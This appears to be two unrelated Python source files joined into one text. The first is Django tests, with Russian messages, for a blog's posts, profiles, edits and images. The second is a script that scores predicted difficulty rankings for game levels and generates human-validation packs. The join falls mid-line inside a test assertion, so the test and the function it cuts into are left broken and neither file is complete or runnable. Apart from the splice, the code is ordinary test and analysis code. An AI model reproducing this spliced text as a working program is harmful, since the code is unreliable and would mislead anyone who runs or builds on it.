response = self.client_auth.get(\r\n reverse('profile', args=[self.user.username])\r\n )\r\n self.assertEqual(\r\n response.status_code,\r\n 200,\r\n msg='Страница пользователя не создаётся'\r\n )\r\n\r\n def test_new_post_authorized(self):\r\n \"\"\"Тест №2 публикации поста авторизованным пользователем.\"\"\"\r\n new_post = self.client_auth.get(reverse('new_post'), follow=True)\r\n self.assertEqual(\r\n new_post.status_code,\r\n 200,\r\n msg='Авторизованный пользователь не может создать пост'\r\n )\r\n\r\n new_post = self.client_auth.post(\r\n reverse('new_post'),\r\n {\r\n 'text': 'Новый пост',\r\n 'group': self.group.id}\r\n )\r\n \"\"\"Проверяю изменение количества постов после создания в бд.\"\"\"\r\n self.assertEqual(\r\n Post.objects.count(),\r\n 1,\r\n msg='Пост не создаётся'\r\n )\r\n\r\n \"\"\"Проверяю соответствие текста, автора и группы с заданными. \"\"\"\r\n post = Post.objects.first()\r\n self.assertEqual(\r\n post.text,\r\n 'Новый пост',\r\n msg='Текст не совпадает'\r\n )\r\n self.assertEqual(\r\n post.author,\r\n self.user,\r\n msg='Автор не совпадает'\r\n )\r\n self.assertEqual(\r\n post.group,\r\n self.group,\r\n msg='Группа не совпадает'\r\n )\r\n\r\n def test_new_post_unauthorized(self):\r\n \"\"\"Тест №3 невозможности создания нового поста без авторизации.\"\"\"\r\n new_post = self.client_unauth.post(\r\n reverse('new_post'),\r\n {\r\n 'text': 'Новый тестовый пост незалогиненного пользователя',\r\n 'group': self.group.id}\r\n )\r\n new_post = self.client_unauth.get(reverse('new_post'), follow=True)\r\n self.assertRedirects(\r\n new_post,\r\n '%s?next=%s' % (reverse('login'), reverse('new_post'),\r\n ),\r\n msg_prefix='Пользователя не перенаправляет на страницу логина'\r\n )\r\n self.assertEqual(\r\n Post.objects.count(),\r\n 0,\r\n msg='Незалогиненный пользователь создал пост'\r\n )\r\n\r\n def test_post_publish(self):\r\n \"\"\"Тест №4 отображения поста на главной, странице профиля...\r\n\r\n и странице поста.\r\n \"\"\"\r\n self.post = Post.objects.create(\r\n text='Тестовый пост',\r\n author=self.user,\r\n pub_date=dt.datetime.now(),\r\n group=self.group\r\n )\r\n \"\"\"Отображение записи на главной странице\r\n и на странице профиля пользователя.\r\n \"\"\"\r\n url_list = (\r\n reverse('index'),\r\n reverse('profile', args=[self.user])\r\n )\r\n for url in url_list:\r\n with self.subTest(url=url):\r\n response = self.client_auth.get(url)\r\n self.assertEqual(\r\n response.status_code,\r\n 200,\r\n msg='Главная страница не отображается'\r\n )\r\n counter = response.context['paginator'].count\r\n self.assertEqual(\r\n counter,\r\n 1,\r\n msg='На странице неверное количество записей'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].text,\r\n self.post.text,\r\n msg='Текст не совпадает с заданным'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].group,\r\n self.group,\r\n msg='Название группы не совпадает с заданной'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].author,\r\n self.post.author\r\n )\r\n\r\n \"\"\"Отображение записи на странице самой записи.\"\"\"\r\n post = self.client_auth.get(\r\n reverse(\r\n 'post', args=[self.post.author, Post.objects.first().id]\r\n ),\r\n follow=True\r\n )\r\n self.assertEqual(\r\n post.status_code,\r\n 200,\r\n msg='Страница поста не отображается'\r\n )\r\n self.assertEqual(\r\n post.context['post'].text,\r\n self.post.text,\r\n msg='Текст не совпадает с заданным'\r\n )\r\n self.assertContains(\r\n post,\r\n self.post,\r\n msg_prefix='Запись не найдена'\r\n )\r\n\r\n def test_post_edit_authorized(self):\r\n \"\"\"Тест №5 редактирования поста авторизованным пользователем.\r\n\r\n Попутно проверка изменённого поста на всех связанных страницах.\r\n \"\"\"\r\n self.post = Post.objects.create(\r\n text='Тестовый пост',\r\n author=self.user,\r\n pub_date=dt.datetime.now(),\r\n group=self.group\r\n )\r\n self.new_group = Group.objects.create(\r\n title='NewTestGroup',\r\n slug='newtest',\r\n description='New test group'\r\n )\r\n self.client_auth.post(\r\n reverse('post_edit',\r\n args=[self.user.username, self.post.id]\r\n ),\r\n {\r\n 'text': 'Отредактированный тестовый пост',\r\n 'pub_date': dt.datetime.now(),\r\n 'group': self.new_group.id}\r\n )\r\n \"\"\"Отображение отредактированного поста на главной странице,\r\n на странице профиля пользователя и странице группы\"\"\"\r\n url_list = (\r\n reverse('index'),\r\n reverse('profile', args=[self.user]),\r\n reverse('group_posts', args=[self.new_group.slug])\r\n )\r\n for url in url_list:\r\n with self.subTest(url=url):\r\n response = self.client_auth.get(url)\r\n self.assertEqual(\r\n response.status_code,\r\n 200,\r\n msg='Главная страница не отображается'\r\n )\r\n counter = response.context['paginator'].count\r\n self.assertNotEqual(\r\n counter,\r\n 0,\r\n msg='На странице неправильное количество записей'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].text,\r\n 'Отредактированный тестовый пост',\r\n msg='Текст не совпадает с заданным'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].group,\r\n self.new_group,\r\n msg='Название группы не совпадает с заданным'\r\n )\r\n self.assertEqual(\r\n response.context['page'][0].author,\r\n self.user,\r\n msg='Имя автора неверное'\r\n )\r\n\r\n \"\"\"Так как группа сменилось, так же проверка на удаление записи\r\n со страницы прошлой группы.\r\n \"\"\"\r\n old_group_response = self.client_auth.get(\r\n reverse('group_posts', args=[self.group.slug])\r\n )\r\n msg = 'Запись всё ещё пренадлежит прошлой группе'\r\n self.assertEqual(\r\n old_group_response.status_code,\r\n 200,\r\n msg='Главная страница не отображается'\r\n )\r\n counter = old_group_response.context['paginator'].count\r\n self.assertEqual(\r\n counter,\r\n 0,\r\n msg=msg\r\n )\r\n self.assertNotContains(\r\n old_group_response,\r\n 'Отредактированный тестовый пост',\r\n msg_prefix=msg\r\n )\r\n\r\n \"\"\"Отображение отредактированной записи на странице самой записи.\"\"\"\r\n post = self.client_auth.get(\r\n reverse('post', args=[self.user.username, 1]),\r\n follow=True\r\n )\r\n self.assertEqual(\r\n post.status_code,\r\n 200,\r\n msg='Страница поста не отображается'\r\n )\r\n self.assertEqual(\r\n post.context['post'].text,\r\n 'Отредактированный тестовый пост',\r\n msg='Текст не совпадает с заданным'\r\n )\r\n\r\n\r\nclass TestImg(TestCase):\r\n \"\"\"Тесты на наличие картинок на страницах.\"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"Задаю пользователя, авторизую его.\"\"\"\r\n self.client = Client()\r\n self.user = User.objects.create_user(\r\n username='tester'\r\n )\r\n self.client.force_login(self.user)\r\n self.group = Group.objects.create(\r\n title='Тестовая группа',\r\n slug='test',\r\n description='Группа для теста'\r\n )\r\n cache.clear()\r\n\r\n def tearDown(self):\r\n \"\"\"Заметаем следы\"\"\"\r\n try:\r\n os.remove('media/posts/gif')\r\n shutil.rmtree('media/cache/')\r\n except OSError:\r\n pass\r\n\r\n def test_post_img(self):\r\n \"\"\"Тест шаблона на наличие тэга .\"\"\"\r\n gif = (\r\n b'\\x47\\x49\\x46\\x38\\x39\\x61\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x21\\xf9\\x04'\r\n b'\\x01\\x0a\\x00\\x01\\x00\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02'\r\n b'\\x02\\x4c\\x01\\x00\\x3b'\r\n )\r\n img = SimpleUploadedFile(\r\n name='gif',\r\n content=gif,\r\n content_type='image/gif',\r\n )\r\n post = Post.objects.create(\r\n text='Тестовый пост',\r\n author=self.user,\r\n pub_date=dt.datetime.now(),\r\n group=self.group,\r\n image=img\r\n )\r\n url_list = [\r\n reverse('index'),\r\n reverse('profile', args=[self.user.username]),\r\n reverse('post', args=[self.user.username, post.id]),\r\n reverse('group_posts', args=[self.group.slug])\r\n ]\r\n\r\n for url in url_list:\r\n with self.subTest(url=url):\r\n response = self.client.get(url)\r\n self.assertContains(response, ' 0:\n\t\t\t# bool series\n\t\t\tcross_approx_eq = (cross[\"Predicted Difficulty_x\"] - cross[\"Predicted Difficulty_y\"]).abs() < approximate_eq\n\t\t\t\n\t\t\tcross_ne = cross[(cross[\"Predicted Difficulty_x\"] < cross[\"Predicted Difficulty_y\"]) & ~cross_approx_eq]\n\t\t\tcross_eq = cross[cross_approx_eq & ~(\n\t\t\t\t\t\t(cross[\"Difficulty_x\"] == cross[\"Difficulty_y\"]) & (cross[\"Name_x\"] == cross[\"Name_y\"]))]\n\t\telse:\n\t\t\t# every (non-reflexive) pair once\n\t\t\tcross_ne = cross[(cross[\"Predicted Difficulty_x\"] < cross[\"Predicted Difficulty_y\"])]\n\t\t\tcross_eq = cross[(cross[\"Predicted Difficulty_x\"] == cross[\"Predicted Difficulty_y\"]) & ~((cross[\"Difficulty_x\"] == cross[\"Difficulty_y\"]) & (cross[\"Name_x\"] == cross[\"Name_y\"]))]\n\t\tcross_ne = cross_ne.drop([\"Predicted Difficulty_x\", \"Predicted Difficulty_y\"], axis=1)\n\n\t\tvalidated_weights_ne = pd.merge(cross_ne, validated_pairs)\n\t\tvalidated_score_ne = validated_weights_ne['Weight'].sum()\n\n\t\tvalidation_count_ne = len(validated_weights_ne)\n\t\tcount_non_validated = len(cross_ne)-len(validated_weights_ne)\n\t\tvalidated_score = validated_score_ne\n\t\tfull_validation_count = validation_count_ne\n\n\t\tif not multi_run_mode:\n\t\t\tprint(\"Matches found:\", full_validation_count)\n\t\telse:\n\t\t\tmin_val_count = min(min_val_count, full_validation_count)\n\t\t\tmax_val_count = max(max_val_count, full_validation_count)\n\t\t\tavg_val_count += full_validation_count\n\t\tif validation_count_ne == 0:\n\t\t\tn_runs -= 1\n\t\t\tcontinue\n\n\t\tfor scoring_version in scoring_versions:\n\t\t\tif scoring_version == 'ignore':\n\t\t\t\tbase_count = len(cross_ne)\n\t\t\telse:\n\t\t\t\tbase_count = len(cross_ne) + len(cross_eq)\n\n\t\t\teq_score = len(cross_eq) * (0 if scoring_version == 'ignore' else scoring_version)\n\n\t\t\tcorrect_fraction = validated_score / full_validation_count\n\t\t\teq_factor = eq_score/base_count\n\t\t\tbest = (eq_score+validated_score+count_non_validated)/base_count\n\t\t\tworst = (eq_score+validated_score)/base_count\n\t\t\texpected = (eq_score+validated_score+(validated_score/full_validation_count)*count_non_validated)/base_count\n\t\t\taverage = (eq_score+validated_score+0.5*count_non_validated)/base_count\n\t\t\tindividual_results = [correct_fraction, eq_factor, best, worst, expected, average]\n\t\t\tscoring_version_dict = results[scoring_version]\n\t\t\tfor i, res in enumerate(individual_results):\n\t\t\t\tscoring_version_dict[result_names[i]].append(res)\n\n\tprint(\"Number of runs found\", n_runs)\n\tif multi_run_mode:\n\t\tprint(\"Validation Counts:\")\n\t\tprint(\"Min\", min_val_count, \"Max\", max_val_count)\n\t\tprint(\"Avg\", avg_val_count/n_runs)\n\treturn_dict = {}\n\tfor scoring_version in scoring_versions:\n\t\tprint('-----------------------')\n\t\tprint(\"For {} Equality\".format(scoring_version))\n\t\tscoring_version_dict = results[scoring_version]\n\t\treturn_dict[scoring_version] = {}\n\t\tfor res_n in result_names:\n\t\t\tresult_arr = np.array(scoring_version_dict[res_n])\n\t\t\tres_mean = np.mean(result_arr)\n\t\t\tres_std = np.std(result_arr)\n\t\t\tprint(res_n+':', res_mean, res_std)\n\t\t\treturn_dict[scoring_version][res_n+'_Mean'] = res_mean\n\t\t\treturn_dict[scoring_version][res_n + '_Std'] = res_std\n\treturn return_dict\n\t\n\ndef prepare_prediction_dataframe(import_dir=None, dataset_name=None, frame_path=None, load_base=False, use_pooled_diff=True):\n\t\"\"\"Loads and cleans a dataframe containing the difficulties predicted for one dataset\n\tLoads the original difficulties inplace of the model predicted difficulties when load_base is True\"\"\"\n\tif frame_path is not None:\n\t\ttry:\n\t\t\tassert os.path.isfile(frame_path)\n\t\texcept AssertionError:\n\t\t\tprint(frame_path)\n\t\t\traise AssertionError\n\t\tpredicted_frame_path = frame_path\n\telse:\n\t\tassert os.path.isdir(import_dir)\n\t\tif 'time_series' in import_dir:\n\t\t\tdataset_a = '_0'\n\t\telse:\n\t\t\tdataset_a = ''\n\t\tname_ext = '_predicted.txt'\n\t\tpredicted_frame_path = os.path.join(import_dir, dataset_name + dataset_a + name_ext)\n\n\tdataset_frame = pd.read_csv(filepath_or_buffer=predicted_frame_path, index_col=0)\n\tif 'Permutation' in dataset_frame.columns:\n\t\tdataset_frame = dataset_frame.loc[dataset_frame[\"Permutation\"] == 0].drop([\"Permutation\", \"sm_fp\"],\n\t\t axis=1)\n\tcols = ['Name', 'Difficulty']\n\tif 'Run' in dataset_frame.columns:\n\t\tcols.append('Run')\n\tif 'Pooled Difficulty' in dataset_frame.columns:\n\t\tcols.append('Pooled Difficulty')\n\tdataset_a_frame_2 = dataset_frame.drop(\n\t\tlist(dataset_frame.columns[~dataset_frame.columns.isin(cols)]), axis=1)\n\tdataset_a_frame_2.drop_duplicates(inplace=True)\n\tif 'Predicted Difficulty' in dataset_frame.columns:\n\t\tcols.append('Predicted Difficulty')\n\tdataset_frame.drop(list(\n\t\tdataset_frame.columns[~dataset_frame.columns.isin(cols)]),\n\t\taxis=1, inplace=True)\n\t# Prevent multiple predictions for the same chart\n\tdataset_frame = dataset_frame[dataset_frame.index.isin(dataset_a_frame_2.index)]\n\n\tif load_base:\n\t\tif 'Predicted Difficulty' in dataset_frame.columns:\n\t\t\tdataset_frame = dataset_frame.drop(\"Predicted Difficulty\", axis=1)\n\t\tif 'Pooled Difficulty' in dataset_frame.columns and use_pooled_diff:\n\t\t\tdataset_frame[\"Predicted Difficulty\"] = dataset_frame[\"Pooled Difficulty\"]\n\t\telse:\n\t\t\tdataset_frame[\"Predicted Difficulty\"] = dataset_frame[\"Difficulty\"]\n\treturn dataset_frame\n\n\ndef prepare_model_scoring(import_dir, dataset_name, experiment_frame_dir, special_case='', alias_dict=None,):\n\t\"\"\"Loads and cleans dataframe with the predicted difficulties as well as the corresponding validated pairs\"\"\"\n\tdataset_frame = prepare_prediction_dataframe(import_dir, dataset_name, load_base=special_case=='base', use_pooled_diff=False)\n\n\tif alias_dict is not None and dataset_name in alias_dict:\n\t\tdataset_name = alias_dict[dataset_name]\n\n\texperiment_frame_path = os.path.join(experiment_frame_dir, dataset_name + '_experiment_validated.txt')\n\tif os.path.isfile(experiment_frame_path):\n\t\texperiment_frame = pd.read_csv(filepath_or_buffer=experiment_frame_path, index_col=0)\n\telse:\n\t\tprint('No experiment data found. Returning without results')\n\t\treturn None\n\n\tif special_case == 'random':\n\t\trng = np.random.default_rng()\n\t\tn_classes = len(dataset_frame['Difficulty'].unique())\n\t\trandom_numbers_a = rng.integers(0, n_classes, len(dataset_frame))\n\t\tdf_a = pd.DataFrame(random_numbers_a, columns=['Difficulty'])\n\t\tdf_a['Predicted Difficulty'] = df_a['Difficulty']\n\t\tdf_a['Name'] = df_a.index.astype('string')\n\t\texperiment_entries = pd.concat([experiment_frame.loc[:, ['Name_x', 'Difficulty_x']],\n\t\t experiment_frame.loc[:, ['Name_y', 'Difficulty_y']].rename(\n\t\t\t columns={'Name_y': 'Name_x', 'Difficulty_y': 'Difficulty_x'})],\n\t\t axis=0).drop_duplicates()\n\t\tm = len(experiment_entries)\n\t\tdf_a.iloc[0:m, 2] = experiment_entries['Name_x']\n\t\tdf_a.iloc[0:m, 0] = experiment_entries['Difficulty_x']\n\t\tdataset_frame = df_a\n\treturn score_model(dataset_frame, experiment_frame)\n\n\ndef select_df_run(df, run, n_runs, index=None):\n\tif n_runs > 1:\n\t\treduced_frame = df.get_group(run)\n\telse:\n\t\treduced_frame = df.get_group(0)\n\treduced_frame = reduced_frame.loc[:, ['Name', 'Difficulty', 'Predicted Difficulty']].set_index(['Name', 'Difficulty'])\n\tif index is not None:\n\t\treduced_frame = reduced_frame.reindex(index, fill_value=-100)\n\treturn reduced_frame\n\n\ndef prepare_grouped_df(df, col_name='Run'):\n\tif col_name not in df.columns:\n\t\tdf[col_name] = 0\n\treturn df.groupby(by=col_name)\n\n\ndef compute_ranking_agreement(pred_a, pred_b):\n\t\"\"\"Computes the average agreement between the ranking defined by two frames of predicted difficulties on the same dataset\n\tEither levelA < levelB, levelA > levelB or levelA == levelB for each ranking.\n\tdisagreement_eq quantifies the number of disagreements where one of the two defined the levels as equal.\n\tNote: This agreement is only valid if both frames contain the same songs in each fold/run.\"\"\"\n\tfull_frame_a = prepare_grouped_df(pred_a)\n\tfull_frame_b = prepare_grouped_df(pred_b)\n\tn_runs_a = len(full_frame_a.groups)\n\tn_runs_b = len(full_frame_b.groups)\n\tif not (n_runs_a == n_runs_b or n_runs_a == 1 or n_runs_b == 1):\n\t\tprint('Agreement not computable')\n\t\treturn None\n\tdisagreement = []\n\tdisagreement_eq = []\n\tfor run in range(max(n_runs_a, n_runs_b)):\n\t\tpred_a = select_df_run(full_frame_a, run, n_runs_a)\n\t\tpred_b = select_df_run(full_frame_b, run, n_runs_b)\n\n\t\tarray_a = pred_a['Predicted Difficulty'].to_numpy().reshape(-1, 1)\n\t\tarray_b = pred_b['Predicted Difficulty'].to_numpy().reshape(-1, 1)\n\t\tn = array_a.shape[0]\n\t\tassert n == array_b.shape[0]\n\t\tM_a = np.sign(array_a - array_a.T)\n\t\tM_b = np.sign(array_b - array_b.T)\n\t\tabs_diff_matrix = np.abs(M_a - M_b).flatten()\n\t\tnorm_factor = (n*(n-1))\n\t\tdisagreement_eq.append(np.sum(abs_diff_matrix[np.isclose(abs_diff_matrix, 1)]) / norm_factor)\n\t\tdisagreement.append(np.sum(np.sign(abs_diff_matrix)) / norm_factor)\n\tdisagreement = np.array(disagreement)\n\tdisagreement_eq = np.array(disagreement_eq)\n\treturn 1 - np.mean(disagreement), np.std(disagreement), np.mean(disagreement_eq), np.std(disagreement_eq), np.mean(1-disagreement+disagreement_eq), np.std(1-disagreement+disagreement_eq)\n\n\ndef generate_difference_matrix(pred_frame, n, index=None):\n\t\"\"\"Computes an upper triangular matrix denoting the average ranking over all runs/folds.\n\tA resulting entry of the matrix a_ij (-1 < a_ij < 1) represents the following:\n\tdiff(Level_i) < diff(Level_j) if a_ij < 0, diff(Level_i) > diff(Level_j) if a_ij > 0 and equal otherwise.\"\"\"\n\tfull_frame = prepare_grouped_df(pred_frame)\n\tn_runs = len(full_frame.groups)\n\tdiff_matrix = np.zeros([n, n], dtype=int)\n\tinvalid_entries = 0\n\tfor run in range(n_runs):\n\t\tnot_full = len(full_frame.get_group(run).index) < n\n\t\tpred_frame = select_df_run(full_frame, run, n_runs, index=index)\n\t\tpred_array = pred_frame['Predicted Difficulty'].to_numpy().reshape(-1, 1)\n\t\tassert pred_array.shape[0] == n\n\t\tinvalid_vector = pred_array == -100\n\t\tneg_count = np.count_nonzero(invalid_vector)\n\t\tif not_full:\n\t\t\tinvalid_matrix = np.logical_or(invalid_vector, invalid_vector.T).astype(int)\n\t\t\tinvalid_entries = invalid_matrix + invalid_entries\n\t\t\tdiff_matrix += np.sign(pred_array - pred_array.T) * (1-invalid_matrix.astype(int))\n\t\telse:\n\t\t\tif neg_count > 0:\n\t\t\t\tprint(neg_count)\n\t\t\tdiff_matrix += np.sign(pred_array - pred_array.T)\n\treturn np.triu(diff_matrix/np.maximum(n_runs - invalid_entries, 1))\n\n\ndef generate_swaps(dataset_dir, out_dir, model_dirs=[], k=1000, regenerate_swap_matrices=False):\n\t\"\"\"Generates the k most important swaps per dataset after comparing the predictions of all model directories.\n\tAn important swap indicates a pair of levels that are consistently ranked one way for one or more loss functions, but ranked in the opposite order for others.\n\tImportance Matrices for each loss function and dataset are precomputed and saved in a separate folder to conserve active memory and computational costs.\"\"\"\n\tswap_save_dir = os.path.join(dataset_dir, 'swaps')\n\tif not os.path.isdir(swap_save_dir):\n\t\tos.mkdir(swap_save_dir)\n\n\t# Use dataset files as index\n\tindex_file_paths = [file for file in os.scandir(dataset_dir) if\n\t file.is_file() and str(file.name).endswith('_0.txt')]\n\tindices = {}\n\tindex_frames = {}\n\tfor file in index_file_paths:\n\t\tindex_frame = pd.read_csv(filepath_or_buffer=file.path, index_col=0)\n\t\tfile_name = remove_ext(file.name)\n\t\tif not ('Name' in index_frame.columns and 'Difficulty' in index_frame.columns):\n\t\t\tcontinue\n\t\tindex_frame['Difficulty'] -= 1\n\t\tif 'Permutation' in index_frame.columns: # Todo: ensure perm = 0 exists for all\n\t\t\tindex_frame = index_frame.loc[index_frame[\"Permutation\"] == 0].drop([\"Permutation\"], axis=1)\n\t\tindex_frames[file_name] = index_frame\n\t\tindex_frame = index_frame.set_index(['Name', 'Difficulty'])\n\t\tindices[file_name] = index_frame.index\n\tdataset_names = list(indices.keys())\n\n\tall_swap_groups = [file for file in os.scandir(swap_save_dir) if\n\t file.is_file() and str(file.name).endswith('_swap_importance.npy')]\n\n\tgenerate = len(all_swap_groups) < 2 or regenerate_swap_matrices\n\tif generate:\n\t\tassert len(model_dirs) > 0\n\t\tprint(len(model_dirs))\n\n\t\tconfigurations = {}\n\t\tfor i, cv_dir in enumerate(model_dirs):\n\t\t\t# print(i, ':', cv_dir)\n\t\t\tcomparison_dir = os.path.join(out_dir, cv_dir)\n\t\t\tconfig_path = os.path.join(comparison_dir, 'config.txt')\n\t\t\tif os.path.isfile(config_path):\n\t\t\t\tconfig = pd.read_csv(config_path, index_col=0).loc[:, ['dataset', 'loss_variant', 'ts_freq']].squeeze(\n\t\t\t\t\t'index').to_dict()\n\t\t\t\tif config['ts_freq'] < 0:\n\t\t\t\t\tconfig['loss_variant'] = config['ts_freq']\n\t\t\t\tconfig.pop('ts_freq')\n\t\t\t\t# if config['loss_variant'] >= 0: # Don't factor in baselines\n\t\t\t\tconfigurations[cv_dir] = config\n\t\tfor dataset_name in dataset_names:\n\t\t\tconfigurations[dataset_name] = {'dataset': dataset_name, 'loss_variant': 'base'}\n\n\t\tconfiguration_frame = pd.DataFrame.from_dict(configurations, orient='index')\n\t\tprint(\"Configurations\", configuration_frame)\n\t\tconfigurations = configuration_frame.groupby(by='loss_variant')\n\t\tgroup_ids = configurations.groups.keys()\n\t\tprint(\"Loss names\", group_ids)\n\t\tloss_modes = ['NLL', 'NNRank', 'Poisson-Binomial', 'RED-SVM', 'Laplace', 'Regression', 'Pattern',\n\t\t 'Characteristics']\n\n\t\t# Preparation of matrices\n\t\tfor dataset_name in dataset_names:\n\t\t\tprint('Starting pre-computation for', dataset_name)\n\t\t\tdataset_index = indices[dataset_name]\n\t\t\tmatrix_length = len(dataset_index)\n\t\t\tfor group_id in group_ids:\n\t\t\t\tgroup_name = (loss_modes[group_id] if type(group_id) == int and -len(loss_modes) + 1 <= group_id < len(\n\t\t\t\t\tloss_modes) else group_id)\n\t\t\t\tprint('Handling group', group_name)\n\t\t\t\tgroup = configurations.get_group(group_id)\n\t\t\t\tswap_importance_matrix = np.zeros([matrix_length, matrix_length], dtype=float)\n\t\t\t\tc = 0\n\t\t\t\tfor cv_dir in group.index:\n\t\t\t\t\tif group_id == 'base':\n\t\t\t\t\t\tif cv_dir != dataset_name:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tcomparison_dir = dataset_dir\n\t\t\t\t\t\tfile_names = [remove_ext(file.name) for file in os.scandir(comparison_dir) if\n\t\t\t\t\t\t file.is_file() and str(file.name).endswith('_0.txt')]\n\t\t\t\t\t\tif dataset_name not in file_names:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tuse_original_difficulties = True\n\t\t\t\t\t\tframe_path = os.path.join(comparison_dir, cv_dir + '_0.txt')\n\t\t\t\t\telse:\n\t\t\t\t\t\tcomparison_dir = os.path.join(out_dir, cv_dir)\n\t\t\t\t\t\tfile_names = [remove_ext(file.name) for file in os.scandir(comparison_dir) if\n\t\t\t\t\t\t file.is_file() and str(file.name).endswith('_predicted.txt')]\n\t\t\t\t\t\tuse_original_difficulties = False\n\t\t\t\t\t\tif dataset_name not in file_names:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tframe_path = os.path.join(comparison_dir, dataset_name + '_predicted.txt')\n\t\t\t\t\tprediction_frame = prepare_prediction_dataframe(frame_path=frame_path,\n\t\t\t\t\t load_base=use_original_difficulties)\n\t\t\t\t\tif group_id == 'base':\n\t\t\t\t\t\tprediction_frame.loc[:, 'Difficulty'] -= 1\n\t\t\t\t\tswap_importance_matrix += generate_difference_matrix(prediction_frame, matrix_length,\n\t\t\t\t\t index=dataset_index)\n\t\t\t\t\tc += 1\n\t\t\t\tfile_name = dataset_name + '_' + group_name + '_swap_importance.npy'\n\t\t\t\tgroup_save_path = os.path.join(swap_save_dir, file_name)\n\t\t\t\tnp.save(group_save_path, swap_importance_matrix / max(c, 1))\n\t\tprint('Pre-computation complete')\n\n\tall_swap_groups = [file for file in os.scandir(swap_save_dir) if\n\t file.is_file() and str(file.name).endswith('_swap_importance.npy')]\n\tswap_group_datasets = np.array([file.name.split('_')[0] for file in all_swap_groups])\n\tprint('Collecting all swaps')\n\tfor dataset_name in dataset_names:\n\t\tprint(dataset_name)\n\t\treduced_swap_group_indices = np.arange(len(swap_group_datasets))[swap_group_datasets == dataset_name]\n\t\tif len(reduced_swap_group_indices) < 2:\n\t\t\tprint('Not enough entries found for', dataset_name)\n\t\t\tcontinue\n\t\tswap_difference_matrix = 0\n\t\tc = 0\n\t\tfor i, idx1 in enumerate(reduced_swap_group_indices):\n\t\t\t# print(i)\n\t\t\tswap_group_a = all_swap_groups[idx1]\n\t\t\tdataset_name_a, loss_name_a = swap_group_a.name.split('_')[:2]\n\t\t\tranking_matrix_a = np.load(swap_group_a.path)\n\n\t\t\tfor idx2 in reduced_swap_group_indices[i + 1:]:\n\t\t\t\tswap_group_b = all_swap_groups[idx2]\n\t\t\t\tdataset_name_b, loss_name_b = swap_group_b.name.split('_')[:2]\n\t\t\t\tif dataset_name_a != dataset_name_b:\n\t\t\t\t\tprint(dataset_name_a, dataset_name_b)\n\t\t\t\t\tcontinue\n\t\t\t\tranking_matrix_b = np.load(swap_group_b.path)\n\t\t\t\ttemp = ranking_matrix_a * ranking_matrix_b\n\t\t\t\tswap_difference_matrix = swap_difference_matrix - temp * (temp < 0).astype(float)\n\t\t\t\tc += 1\n\t\tswap_difference_matrix = swap_difference_matrix / max(c, 1)\n\t\tprint(dataset_name, ' - Possible Swaps:', np.count_nonzero(swap_difference_matrix > 0))\n\t\tupper_threshold = 0.5\n\t\tswap_difference_matrix = np.where(swap_difference_matrix > upper_threshold, 0, swap_difference_matrix)\n\t\ttop_k_threshold = np.partition(swap_difference_matrix, axis=None, kth=-k)[-k]\n\t\tquantile_thresholds = [0.95, .99]\n\t\tquantiles = np.quantile(swap_difference_matrix, quantile_thresholds)\n\t\tquantile_thresholds.append('top_n threshold')\n\t\tquantiles = list(quantiles)\n\t\tquantiles.append(top_k_threshold)\n\t\tprint('Count Quantiles', '; '.join(\n\t\t\t[str(quantile_thresholds[i]) + ': ' + str(quantiles[i]) for i in range(len(quantiles))]))\n\t\tmulti_index_frame = index_frames[dataset_name]\n\t\tsave_path = os.path.join(dataset_dir, dataset_name + '_swaps.txt')\n\t\timportance_threshold = max(quantiles[-1], 1e-4)\n\t\trelevant_indices = np.nonzero(swap_difference_matrix >= importance_threshold)\n\t\tprint(dataset_name, ' - Chosen Swaps:', np.count_nonzero(swap_difference_matrix >= importance_threshold))\n\t\tn_swaps = relevant_indices[0].shape[0]\n\t\tif len(relevant_indices) < 2:\n\t\t\tprint(swap_difference_matrix.shape)\n\t\tnew_range_index = pd.RangeIndex(stop=n_swaps)\n\t\tswap_frame_a = multi_index_frame.iloc[relevant_indices[0]]\n\t\tswap_frame_a.index = new_range_index\n\t\tswap_frame_b = multi_index_frame.iloc[relevant_indices[1]]\n\t\tswap_frame_b.index = new_range_index\n\t\tswap_frame = swap_frame_a.merge(swap_frame_b, left_index=True, right_index=True)\n\t\tswap_frame['swap_importance'] = swap_difference_matrix[relevant_indices[0], relevant_indices[1]]\n\t\tswap_frame.sort_values(by='swap_importance', ascending=False, inplace=True)\n\t\tswap_frame.to_csv(save_path)\n\n\ndef generate_validation_packs(dataset_dir):\n\t\"\"\"Generates packs of levels for human validation based on the most important swaps.\n\tA pack is generated for each dataset and contains pairs of levels (swaps) connected by an ID and each level of the pair is either A or B (at random).\n\tTo ensure some variety in the songs, each difficulty of a song may occur at most two times in the resulting pack.\n\t\"\"\"\n\tindex_file_names = [remove_ext(file.name) for file in os.scandir(dataset_dir) if\n\t file.is_file() and str(file.name).endswith('_0.txt')]\n\tname_ext = '_swaps.txt'\n\toutput_folder = '../experiment_packs'\n\tpair_id = 0\n\tk = 50\n\tfor dataset_name in index_file_names:\n\t\tprint('Generating packs for', dataset_name)\n\t\toutput_folder_path = os.path.join(dataset_dir, output_folder, dataset_name)\n\t\tswap_frame_path = os.path.join(dataset_dir, dataset_name + name_ext)\n\t\tassert os.path.isfile(swap_frame_path)\n\t\tswap_frame = pd.read_csv(filepath_or_buffer=swap_frame_path, index_col=0)\n\n\t\t# visualize distribution\n\t\t\"\"\"difficulties = np.maximum(swap_frame['Difficulty_x'].to_numpy(), swap_frame['Difficulty_y'].to_numpy())\n\t\tdifficulty_counts = np.bincount(difficulties)\n\t\tplt.bar(np.arange(len(difficulty_counts))+1, difficulty_counts)\n\t\tplt.show()\"\"\"\n\n\t\t# clear previous entries\n\t\tif os.path.isdir(output_folder_path):\n\t\t\tshutil.rmtree(output_folder_path)\n\t\t\tos.mkdir(output_folder_path)\n\n\t\textensions = ['x', 'y']\n\t\tcompleted_name_set = {}\n\t\twaiting_name_queue = set()\n\t\tvariants = [\"a\", \"b\"]\n\t\tassigned_ids = []\n\t\tc = 0\n\t\tfor j, row_tuple in enumerate(swap_frame.itertuples()):\n\t\t\tassigned_ids.append(-1)\n\t\t\tif c >= 